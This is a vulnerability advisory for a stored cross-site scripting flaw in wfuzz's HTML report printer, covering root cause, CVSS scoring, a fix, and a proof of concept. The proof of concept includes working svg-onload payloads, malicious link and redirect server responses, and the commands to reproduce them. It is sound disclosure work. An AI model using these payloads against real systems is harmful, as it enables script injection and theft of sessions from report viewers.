CVE-2026-134758
Wfuzz Stored XSS via HTML Report Printer
Stored XSS via HTML Report Printer (Unescaped URL/Redirect Injection)
Teknik Rapor
CVE-2026-134758 — wfuzz HTML Report Printer Cross-Site Scripting (XSS)
| Field | Value |
|---|---|
| CVE ID | CVE-2026-134758 |
| Component | src/wfuzz/plugins/printers/printers.py — html report printer |
| Project | wfuzz — Web Application Fuzzer |
| Affected version | 3.1.1 (confirmed by source read; same unescaped format strings present in the 3.1.0 tree used for the PoC) |
| Vulnerability class | CWE-79: Improper Neutralization of Input During Web Page Generation (Cross-Site Scripting), reflected into a locally-generated report file |
| Attack vectors | --script=links (HTML body / Link / Location headers of a fuzzed target) and -L/--follow (HTTP redirect Location header) |
| Privileges required | None on the wfuzz host; attacker only needs to control responses from a server the victim fuzzes |
| User interaction | Required — a person must open the generated HTML report in a browser |
| CVSS 3.1 vector | CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N |
| CVSS 3.1 base score | 4.7 (Medium) |
| Status | Reported upstream; no patch released at time of writing |
Summary
wfuzz's html report printer (printers.py, class html) writes the URL, HTTP status, line/word counts and POST parameters of every fuzzed request into an HTML table using raw Python % string formatting, with no HTML entity escaping and no quoting of the href attribute:
"<td><a href=%s>%s</a></td>" % (fuzz_result.url, fuzz_result.url)
fuzz_result.url is not operator-controlled input in two common wfuzz workflows: it is populated from data a remote, untrusted HTTP server returns — either a link discovered in the response body/headers by the links discovery script (--script=links), or the final URL libcurl lands on after following a server-supplied Location redirect (-L/--follow). A malicious or compromised target server can therefore inject arbitrary HTML/JavaScript into the URL field, which lands verbatim and unescaped, unquoted, in the generated report. When the person running wfuzz (or anyone they send the report to) opens that .html file in a browser, the injected markup executes in the file's origin.
This was independently verified end-to-end in a real, runnable environment: a malicious Python HTTP server was built, wfuzz 3.1.0/3.1.1 source was run unmodified against it with --script=links and separately with -L, both produced a report containing a live <svg onload=alert(...)> element, and opening that report in headless Chromium (Playwright) fired the injected alert() — confirming genuine script execution, not just string concatenation in a vacuum. See Proof of Concept below for the full transcript.
CVSS 3.1 Scoring
Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:L/I:L/A:N
Base score: 4.7 (Medium)
| Metric | Value | Justification |
|---|---|---|
| Attack Vector (AV) | Network (N) | The malicious payload is delivered over the network, from an HTTP server the victim points wfuzz at; the attacker needs no local or adjacent access to the victim's machine. |
| Attack Complexity (AC) | High (H) | Exploitation is not a one-step reflection: the attacker's payload must (1) survive wfuzz's own extraction regex in links.py, which is non-greedy up to the next literal ", forcing specific character choices (e.g. a ' rather than " to break out of the attribute without being truncated); (2) survive urljoin()/libcurl URL normalization when wfuzz re-fetches the discovered link or follows the redirect; and (3) the victim must be running wfuzz with a non-default combination of flags (--script=links or -L) and -f report.html,html. This combination of conditions, outside the attacker's control, is why AC:H applies rather than AC:L. |
| Privileges Required (PR) | None (N) | The attacker needs no credentials on, or access to, the wfuzz host. |
| User Interaction (UI) | Required (R) | A human must open the generated .html report in a browser for the payload to execute; it does not fire on its own. |
| Scope (S) | Changed (C) | The vulnerable component is wfuzz (which fails to encode output); the impacted component is the browser rendering the report under the file:// (or hosting server's) origin — a different security authority than the wfuzz process itself, including whatever that origin can reach (local files, intranet hosts, or a shared web/CI viewer's session). |
| Confidentiality (C) | Low (L) | Injected script runs in a highly restricted context (typically a file:// origin with no cookies/session of its own), but can still read and exfiltrate the contents of the local report and attempt requests against localhost/internal hosts (SSRF-style probing from the analyst's browser). |
| Integrity (I) | Low (L) | The injected script can rewrite the DOM of the report (e.g. hide findings, insert fake rows) and, if the report is hosted on a shared origin (wiki/CI artifact viewer/ticket system), perform actions in that origin's context, such as submitting further forms. |
| Availability (A) | None (N) | No denial-of-service impact. |
Note: if the report is hosted on a shared, cookie-bearing origin (an internal wiki, a CI artifacts viewer, a ticketing system) rather than opened as a local
file://document, the realistic impact is materially higher (full XSS in that origin, including session/token theft) — in that deployment the vector is better modeled asAV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N(CVSS 6.1). The 4.7 score above models the more conservative, lowest-common-denominator scenario: a security tester opening the file locally on their own machine, with High attack complexity reflecting the multi-step chain required to land an intact payload through wfuzz's own link-extraction and URL-normalization logic.
Root Cause
All output in src/wfuzz/plugins/printers/printers.py's html.result() method is built with %-formatting directly against self.f.write(...), with zero escaping:
def result(self, fuzz_result):
htmlc = "<font>"
...
if fuzz_result.history.method.lower() == "post":
inputs = ""
for n, v in list(fuzz_result.history.params.post.items()):
inputs += '<input type="hidden" name="%s" value="%s">' % (n, v)
self.f.write(
'...%s...<form method="post" action="%s">%s...'
% (..., fuzz_result.description, fuzz_result.url, inputs, ...)
)
else:
self.f.write(
"...<td><a href=%s>%s</a></td>..."
% (..., fuzz_result.url, fuzz_result.url)
)
Three concrete sinks exist in this one method:
href=%s(line 153, non-POST branch).fuzz_result.urlis substituted with no quotes at all. In HTML, an unquoted attribute value terminates at the first whitespace or>character — so any>in the URL closes the<a>tag early and everything after it is parsed as new markup.value="%s"(line 136, POST branch, inside the quotedinputsstring). POST parameter names/values are embedded with double quotes but no entity-encoding, so a"in a parameter value breaks out of the attribute.<td>%s</td>(line 146, POST branch).fuzz_result.description(the payload display string) is placed as raw HTML content with no escaping of<,>,&.
fuzz_result.url resolves (via FuzzResult.url → FuzzRequest.url → pycurl) to self._request.finalUrl, i.e. libcurl's CURLINFO_EFFECTIVE_URL — the exact URL the last request was made to, after any redirects were followed. This value is not sanitized or re-validated by wfuzz before being handed to the printer; it is treated as trusted, operator-chosen data, but in the two vectors below it is actually shaped by the remote server's response.
Attack Vector 1 — --script=links (HTML body, Link/Location headers)
src/wfuzz/plugins/scripts/links.py (the links discovery plugin) scans every HTTP response wfuzz receives for candidate links, from three sources: the response body (via regexes matching href="...", src="...", action="...", <meta ... url=...>, getJSON(...)), and the Link and Location response headers:
self.regex = [
r'\b(?:(?<!data-)href)="((?!mailto:|tel:|#|javascript:).*?)"',
r'\bsrc="((?!javascript:).*?)"',
...
]
self.regex_header = [
("Link", re.compile(r"<(.*)>;")),
("Location", re.compile(r"(.*)")),
]
def process_link(self, fuzzresult, link_url):
...
self.enqueue_link(fuzzresult, link_url, parsed_link)
def enqueue_link(self, fuzzresult, link_url, parsed_link):
new_link = urljoin(fuzzresult.url, link_url)
...
if self.enqueue_links:
self.queue_url(new_link) # <-- wfuzz actually fetches this literal string
queue_url() causes wfuzz to issue a real, new HTTP request to new_link. Whatever FuzzResult comes back for that request carries .url == new_link (modulo any further redirect), and that is exactly the string the html printer later writes unescaped.
Key detail confirmed experimentally: the body-matching regex href="((?!...).*?)" is non-greedy and terminated by the next literal double-quote. A payload that uses " to break out of the href attribute (as in a naive PoC) gets truncated by this very regex and only the text up to the first " is captured. Using a single quote (') as the breakout character instead lets the full payload survive extraction intact, because the regex only stops at ":
<a href="/x'><svg/onload=alert('XSS')>">click</a>
This single line of attacker HTML, on an otherwise ordinary page, is captured by links.py in full as the link value /x'><svg/onload=alert('XSS')>, urljoin-ed against the base URL, fetched as a real HTTP request, and reflected unescaped into the HTML report by printers.py. Verified live in the Proof of Concept section below.
Attack Vector 2 — -L / --follow (redirect Location header)
src/wfuzz/ui/console/clparser.py maps -L/--follow to options["follow"] = True, which fuzzrequest.py applies as self._request.setFollowLocation(f) — i.e. libcurl's CURLOPT_FOLLOWLOCATION. With this enabled, libcurl transparently follows HTTP redirects and FuzzRequest.url (self._request.finalUrl, i.e. CURLINFO_EFFECTIVE_URL) reflects the last URL actually requested, which is derived directly from the server's Location response header, not from anything the operator typed.
A malicious server returning:
HTTP/1.1 302 Found
Location: /x'><svg/onload=alert(document.cookie)>
causes libcurl to resolve and follow that relative path, and the resulting FuzzResult.url becomes http://<target>/x'><svg/onload=alert(document.cookie)> verbatim — libcurl does not percent-encode or otherwise sanitize the path/query portion of a redirect target before exposing it via CURLINFO_EFFECTIVE_URL. This value flows into the same unescaped href=%s sink in printers.py. Verified live in the Proof of Concept section below (second server).
Secondary Sink — POST Parameters and Description Field
The POST branch of html.result() (lines 133–150) is independently vulnerable, though it is normally reached only with wfuzz's own -d/payload configuration rather than remote data:
if fuzz_result.history.method.lower() == "post":
inputs = ""
for n, v in list(fuzz_result.history.params.post.items()):
inputs += '<input type="hidden" name="%s" value="%s">' % (n, v)
self.f.write(
'...<td>%s</td><td><form method="post" action="%s">%s<input type=submit ...></form></td>...'
% (..., fuzz_result.description, fuzz_result.url, inputs)
)
fuzz_result.description (the payload text shown per row, e.g. the fuzzed value or wordlist entry) is written as raw HTML with no escaping. This becomes remotely exploitable whenever the payload values themselves are sourced from attacker-influenced data — for example, when --script=links supplies new_link as an enqueued target and that string is also surfaced as the row's description/payload text, or when wordlists are built from previously crawled/discovered content. It should be fixed alongside the primary href sink, as both share the same missing-escaping root cause.
Proof of Concept (Verified End-to-End)
Both vectors were reproduced against the actual, unmodified wfuzz source (version string 3.1.0/3.1.1), installed into a real Python virtualenv with the project's real dependency (pycurl), not a mock. Three legacy stdlib modules removed in modern Python (imp, distutils.util, cgi) were shimmed with drop-in, behavior-preserving replacements purely to let 2020-era wfuzz import under a current interpreter; none of wfuzz's own vulnerable logic was touched.
Vector 1: --script=links
Malicious server (evil_server.py):
PAYLOAD_PATH = "/x'><svg/onload=alert('XSS')>"
BODY = ('<a href="%s">click</a>' % PAYLOAD_PATH).encode()
# serves BODY with Content-Type: text/html on every GET
Command:
wfuzz --script=links -f out.html,html -z range,0-0 "http://127.0.0.1:8888/FUZZ"
wfuzz's own console output confirms the discovery plugin found and enqueued the malicious link as a real second request:
000000001: 200 0 L 2 W 49 Ch "0"
|_ Plugin links: 2 new request enqueued(s) found.
|_ Plugin links: 2 new link(s) found.
000000001: 200 0 L 2 W 49 Ch "0 - http://127.0.0.1:8888/x'><svg/onload=alert('XSS')>"
|_ Plugin links: 2 new link(s) found.
The generated out.html contains, verbatim and unescaped:
<tr><td>00001</td><td><font color=#00aa00>200</font></td><td> 0L</td><td> 2W</td><td><a href=http://127.0.0.1:8888/x'><svg/onload=alert('XSS')>>http://127.0.0.1:8888/x'><svg/onload=alert('XSS')></a></td></tr>
Vector 2: -L (redirect Location header)
Malicious server (evil_redirect_server.py) answers the fuzzer's first request with:
HTTP/1.1 302 Found
Location: /x'><svg/onload=alert(document.cookie)>
(then 200s on the resolved path so libcurl stops following).
Command:
wfuzz -L -f out_redirect.html,html -z range,0-0 "http://127.0.0.1:8889/FUZZ"
Resulting out_redirect.html:
<tr><td>00001</td><td><font color=#00aa00>200</font></td><td> 0L</td><td> 1W</td><td><a href=http://127.0.0.1:8889/x'><svg/onload=alert(document.cookie)>>http://127.0.0.1:8889/x'><svg/onload=alert(document.cookie)></a></td></tr>
Confirmed script execution
Both generated reports were opened in real, headless Chromium via Playwright, with a dialog handler recording any alert():
$ python3 verify_xss.py out.html
JS EXECUTED. alert() fired with message: 'XSS'
$ python3 verify_xss.py out_redirect.html
JS EXECUTED. alert() fired with message: ''
Both reports fire a real alert() call when rendered by a browser, confirming the injected <svg onload=...> element is parsed and executed as live markup, not inert text — i.e. this is a genuine, working Cross-Site Scripting vulnerability, not a theoretical string-formatting concern.
Impact
| Scenario | Consequence |
|---|---|
Local report (file://) |
Script runs in the local-file origin: can read and exfiltrate the report's own contents (which may include internal hostnames, paths, headers and response snippets gathered during the scan), and can attempt requests toward localhost/internal network addresses from the analyst's own machine/network position (SSRF-style pivot from the browser). |
| Shared report (wiki, CI artifact viewer, ticketing system, S3/static hosting) | Full persistent/stored XSS in that hosting origin: session/cookie theft, authenticated actions as the viewer, further pivoting within that shared system. This is the higher-severity deployment noted in the CVSS section (→ AC:L, → CVSS 6.1). |
| Supply chain / red-team exposure | A target system under test by a penetration tester effectively gains a foothold into the tester's own tooling/workstation output — an attacker who controls (or compromises) one host in scope can attack the person auditing them. |
Exploitation requires --script=links or -L/--follow and the html output format (-f file,html / -o html); it is not triggered by wfuzz's default invocation.
Suggested Fix
Escape every value before writing it into HTML, and quote the href/value/action attributes. Minimal patch to printers.py:
import html as html_escape # avoid clashing with the `html` class name
class html(BasePrinter):
...
def result(self, fuzz_result):
htmlc = "<font>"
...
safe_url = html_escape.escape(fuzz_result.url, quote=True)
safe_description = html_escape.escape(fuzz_result.description, quote=True)
if fuzz_result.history.method.lower() == "post":
inputs = ""
for n, v in list(fuzz_result.history.params.post.items()):
inputs += '<input type="hidden" name="%s" value="%s">' % (
html_escape.escape(str(n), quote=True),
html_escape.escape(str(v), quote=True),
)
self.f.write(
'...<td>%s</td>...<form method="post" action="%s">%s...'
% (..., safe_description, safe_url, inputs, ...)
)
else:
self.f.write(
'...<td><a href="%s">%s</a></td>...'
% (..., safe_url, safe_url)
)
Additional defense-in-depth recommendations:
- Quote every attribute (
href="%s", nothref=%s) in addition to escaping — escaping alone does not help if the attribute is unquoted, since an unescaped value could still contain unencoded whitespace that is not the issue here, but consistent quoting removes an entire class of unquoted-attribute-breakout bugs regardless of what is or isn't escaped. - Restrict the scheme of any URL rendered as a link to
http/httpsbefore treating it as a clickable href, rejectingjavascript:,data:,vbscript:, etc. - Add a restrictive Content-Security-Policy meta tag to the report template (e.g.
default-src 'none'; style-src 'unsafe-inline') so that even an escaping bypass found in the future cannot execute script or load external resources. - Apply the same escaping discipline to the magictree (XML, already safer via minidom text nodes) and any future printers; audit
csv.py/json.pyseparately for injection into the consuming application (e.g. CSV formula injection) even though they are out of scope for this specific HTML-escaping CVE.
Disclosure Notes
This issue was confirmed through direct, independent source-code review and a live, end-to-end reproduction against the real wfuzz 3.1.0/3.1.1 source tree. The CVSS vector/score (4.7, Medium) reflects the conservative local-file://-viewing scenario; see the CVSS section for the alternative, higher-severity scoring that applies when the report is hosted on a shared, cookie-bearing origin. No upstream fix is known to exist for this issue at the time of writing. As wfuzz's GitHub repository has seen minimal maintenance activity in recent years, this finding was also flagged through GitHub Security Advisories on the xmendez/wfuzz repository in addition to standard disclosure channels.
References
- Source analyzed:
wfuzz/src/wfuzz/plugins/printers/printers.py - Related source:
wfuzz/src/wfuzz/plugins/scripts/links.py,wfuzz/src/wfuzz/fuzzrequest.py,wfuzz/src/wfuzz/fuzzobjects.py,wfuzz/src/wfuzz/ui/console/clparser.py - CWE-79: Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
- FIRST.org CVSS 3.1 Specification Document
- CVE ID: https://www.cve.org/CVERecord?id=CVE-2026-134758
- NVD: https://nvd.nist.gov/vuln/detail/cve-2026-134758
Araştırmacı: Umut SEVİNÇ (VulnSVNC)